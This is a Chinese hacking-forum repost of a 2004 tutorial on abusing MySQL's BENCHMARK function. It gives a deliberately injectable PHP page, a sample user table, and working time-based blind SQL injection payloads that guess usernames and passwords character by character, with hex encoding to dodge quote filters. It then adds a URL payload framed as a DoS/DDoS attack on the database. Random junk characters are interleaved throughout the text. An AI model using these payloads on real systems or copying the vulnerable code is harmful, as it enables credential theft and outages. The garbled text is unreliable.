找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2065|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 * b+ N2 ^/ w$ E1 {& r
本文作者:SuperHei
! Z4 \& @/ K; y" w( S" b( w! t文章性质:原创$ z0 f, e7 i- S
发布日期:2005-01-02
, Z: y0 N% K" Q# e6 ^, u完成日期:2004-07-09 ; B0 z# @8 t' g
第一部5 }6 K- _+ }3 K  _6 _0 w! l/ d

( a+ H. N8 E% o6 ]利用时间推延进行注射---BENCHMARK函数在注射中的利用
, X3 |, c/ C2 y6 e3 E9 m! \- j& D* f+ q! X' J
一.前言/思路9 f# F: _2 U- x- Z5 i0 j6 e
" P$ y' X& E( x" |, s! E
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
2 p" K( H+ F: O6 }) i- J! z, n5 J$ L/ B' I1 d) f. R4 ]$ j
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
0 [# m8 M8 U8 o, w9 T
' S; U" V/ ]0 P, `! D8 Z- B& ^+ h; J二.关于BENCHMARK函数* W$ ?( r9 W6 ^# r! H- ^, a  K8 R

: l9 b6 n# g5 \  在MySQL参考手册里可以看到如下描叙:
: `* W) I3 k+ b1 O
  T- f0 g" c' t7 Z4 V( o" R/ p1 q- i9 P- p+ a. @2 S
--------------------------------------------------------------------------------
0 u  ]5 \2 Y5 A6 F* t& ?( [7 ?/ m: @! t
BENCHMARK(count,expr)
9 |% T7 t5 w! fBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 8 x" a6 q, v% y( E6 C
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
; j: ?) f% h7 H! f+----------------------------------------------+
5 y9 D/ b1 |' f" l| BENCHMARK(1000000,encode("hello","goodbye")) |
7 H5 y, u( o; Y$ w" m+----------------------------------------------+
& t& a8 m9 N( ~: z  ?3 }| 0 | " j& f5 Y0 R# U% _! _
+----------------------------------------------+ # I9 a% C/ ^$ I3 L% o
1 row in set (4.74 sec) 6 b! f4 @( L9 V8 m

0 y$ v! s  q* e* t5 K* |) E报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。' Y6 I7 D7 }3 i3 k/ c2 A9 n
, J4 H" W1 k' ]+ W
: j$ x, y  y0 M* J- Q9 h1 \: d! U, Z
--------------------------------------------------------------------------------- u, |9 {. d1 `' V
$ L2 t' J' t1 Y3 y
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
7 p3 [  K, \( k* i8 `2 ?
7 Y2 l! C( Z) Z# I! rmysql> select md5( 'test' );
" n" L" O- U. A+----------------------------------+
, b4 Q* p) z5 d7 k4 }3 K| md5( 'test' ) |
& L/ ?) f! t5 i: D) F3 i+----------------------------------+ ; Q; C7 f+ e0 Z
| 098f6bcd4621d373cade4e832627b4f6 |
: Q$ K8 @1 _" e+----------------------------------+
: J/ ^4 o* b' z! L: d6 Z. U& S1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
) R, p2 p' l- d$ q  P& X% p7 k7 \' b# n: R+ g
mysql> select benchmark( 500000, md5( 'test' ) );
8 H" M1 @) v  T( Z& @+------------------------------------+ + e4 M+ P  z( n1 G
| benchmark( 500000, md5( 'test' ) ) |
& |/ n9 D: p3 Z1 b$ A+------------------------------------+
7 M# Z% c( b/ w1 c# R| 0 |
% `" x2 a; n  I+ |$ ^+------------------------------------+ 4 I5 C7 D8 w  w: ?
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec+ c7 \9 _# \- U/ `$ [5 `% O
8 M, P- P1 u- S

( K, F* R& v& j; Q6 u7 ?  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
+ }& p1 q' M( l$ R  L
) Q5 O3 j. M. Y三.具体例子5 z& G0 t, y, [+ E5 G! U) _

) g  _+ P% U8 _; ]; |+ m  首先我们看个简单的php代码:
' E( C) O1 ?/ ?" _" V
$ D1 n2 j. F- d< ?php
! X9 |: p7 B5 }% g7 Z& V: N$servername = "localhost";
4 q* X, V+ p4 V! v: [$dbusername = "root";
1 x' G% i" u) x$dbpassword = ""; 2 h* V% K) h& v- u* L. D
$dbname = "injection"; " V; X6 W- U6 e7 f: M! g& f% l
9 R9 h- Q: m  C5 B4 ?# D* X
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); % W, f  ]: Q2 e9 |* d) R; z$ J
3 n7 g9 Q5 C+ j+ l+ M$ g2 |) X
$sql = "SELECT * FROM article WHERE articleid=$id"; * t) U: r! h, {# t# I1 `' Z0 k
$result = mysql_db_query($dbname,$sql);
4 M+ ^4 j6 K3 o4 @: Y+ F6 Q$row = mysql_fetch_array($result); / \0 u8 z: y5 R: ?9 W& }& _

2 W- M4 [; i  ?  q# ]* cif (!$row) , W6 y& Q( m, T* a" H' C
{
" a2 y7 J; q8 ?; C9 c/ Wexit;
  a2 b+ x" h: l1 p}
9 U. h6 u; x  N) {* s?>- g- z* b" u5 v& n1 B' C0 o
+ V6 e- f$ N( Y4 |6 t6 o
$ d/ Q/ J3 R. X9 b7 Y+ i
  数据库injection结构和内容如下:) t0 V$ {2 Y/ s6 i( ^

( ?' S7 Q+ h* w$ v- \/ U, ^% O4 ]# 数据库 : `injection`
/ |( I; ?9 O8 Q& f* T2 l2 m#
- W5 }5 Z1 Q- ~" H' R: f
- d0 N- h* y% e! r# S' o# --------------------------------------------------------
/ f  J+ X$ Q, B) u$ @2 v' D
" A1 h; j/ m% w. t- P#
% [9 o, S* f, q, D# 表的结构 `article` 2 G9 X' k# h0 s( [) a& r9 O7 \
#
* @4 K8 ?6 W" T6 t  J: V  P. v
4 y% {6 d9 d/ \) F# vCREATE TABLE `article` ( # N) m) l1 p, v/ N, u# ]) A3 _
`articleid` int(11) NOT NULL auto_increment, * w& v/ E) u( L0 f( {7 P0 V( d
`title` varchar(100) NOT NULL default '',
: c6 a4 a0 D0 a) M`content` text NOT NULL, : n! l" v, |2 A
PRIMARY KEY (`articleid`) 3 h( w" E6 e) l7 h
) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 h$ w5 g: q0 Y, D( n+ I4 l5 n0 O( u1 r
# , j6 G+ s/ @1 `9 ~& m. f
# 导出表中的数据 `article`
. y+ b# Y8 g3 A" C: G% M#
+ s1 r8 A# C. |3 E/ O/ s, x6 U+ W- Q, e1 B1 L5 Q7 k
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
2 p" ]6 j  L4 A$ {. d) u1 u; \* @+ kINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
: a+ H/ l6 h4 F# b1 f3 P: S2 k! n! D- z# K2 S) R+ l. [$ d
# --------------------------------------------------------
+ j: s3 E* m) }/ u
9 h% o3 B, i* z# - Y& ^; |2 G- I3 K( \' A7 V
# 表的结构 `user`
1 P! _  o2 l" T#
4 J" s; Y+ F0 T( W/ s. ?4 G) a6 |* _* V) f4 Y- E
CREATE TABLE `user` ( % L/ t3 o) b( J. j
`userid` int(11) NOT NULL auto_increment, 2 M/ [3 m  M, x8 m' F
`username` varchar(20) NOT NULL default '', # v& P% t6 {/ e
`password` varchar(20) NOT NULL default '', . \& W# z: [& a1 X) w5 S
PRIMARY KEY (`userid`) ) d+ b5 T9 l- e7 f8 s
) TYPE=MyISAM AUTO_INCREMENT=3 ; : o  u. X5 }* H0 F1 j, @5 Z( f% `

  c% D  n4 M5 v8 Y#
* H+ p! ?6 ?5 T# 导出表中的数据 `user` " {8 V3 }/ v% o( I* C/ ~9 c0 e
#
* c3 g1 y; f$ B3 i- X0 b) m
9 c. W. ~3 a" u3 x  W; QINSERT INTO `user` VALUES (1, 'angel', 'mypass');
" _: G( f8 t7 k6 T# X6 BINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');) W" e' @! R9 U" {
- _+ k: W4 J* R; u# W

, M- O  ]& v! E3 M" r3 q5 I2 G3 F  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
" g# Z- q4 f7 h8 k1 M* S! s/ J  U# ]7 D0 s1 X. n) }  e# P0 p  C
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
' V1 @# u9 L6 K+ e, y! X - D" \* n) K% b, X1 R1 `
' T0 H7 S; D" C' ^% J9 x
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:: [7 f+ a# O! I1 w) c0 h
; ~& e$ |/ R3 R  R$ N
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*5 }1 v( r# s9 a6 f" |2 S
+ A8 b0 H" z4 v0 ^
1 E% \" x% E; A) X5 d; C4 [% F
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
0 G/ l3 s( S5 M7 H! Z- x  M2 Q  d
% c0 P3 ]$ G7 W2 o( c" `  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 8 @! o+ _1 X& ~8 }

4 K" p6 |4 ]1 P0 l! I第二部
2 j8 ~: V1 |6 c' W  J2 w
* J" G; I- s$ @) b: d' ^利用BENCHMARK函数进行ddos攻击 5 j1 L7 _0 X$ X3 H3 V' n5 q

% d4 N, Z/ P' H' [) _) j1 ~  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
. u6 J" v1 F- [/ K
& Y  X9 V# B/ _0 R+ ohttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))! ]. B0 O# u6 l7 @, W- [
% _3 y& o# h- [. P( O6 v5 A2 g
% s1 d- B6 m- `0 C" C; I' t
小结
# x6 F' A, L4 C2 B! J! k
$ l3 q8 J. R1 D4 s9 U" F' O( T  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。3 j( ]2 H0 Q5 W; ]

+ v+ I9 {; y0 f0 t! I  
  I) p# ~+ x! N6 m  C0 ~0 _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表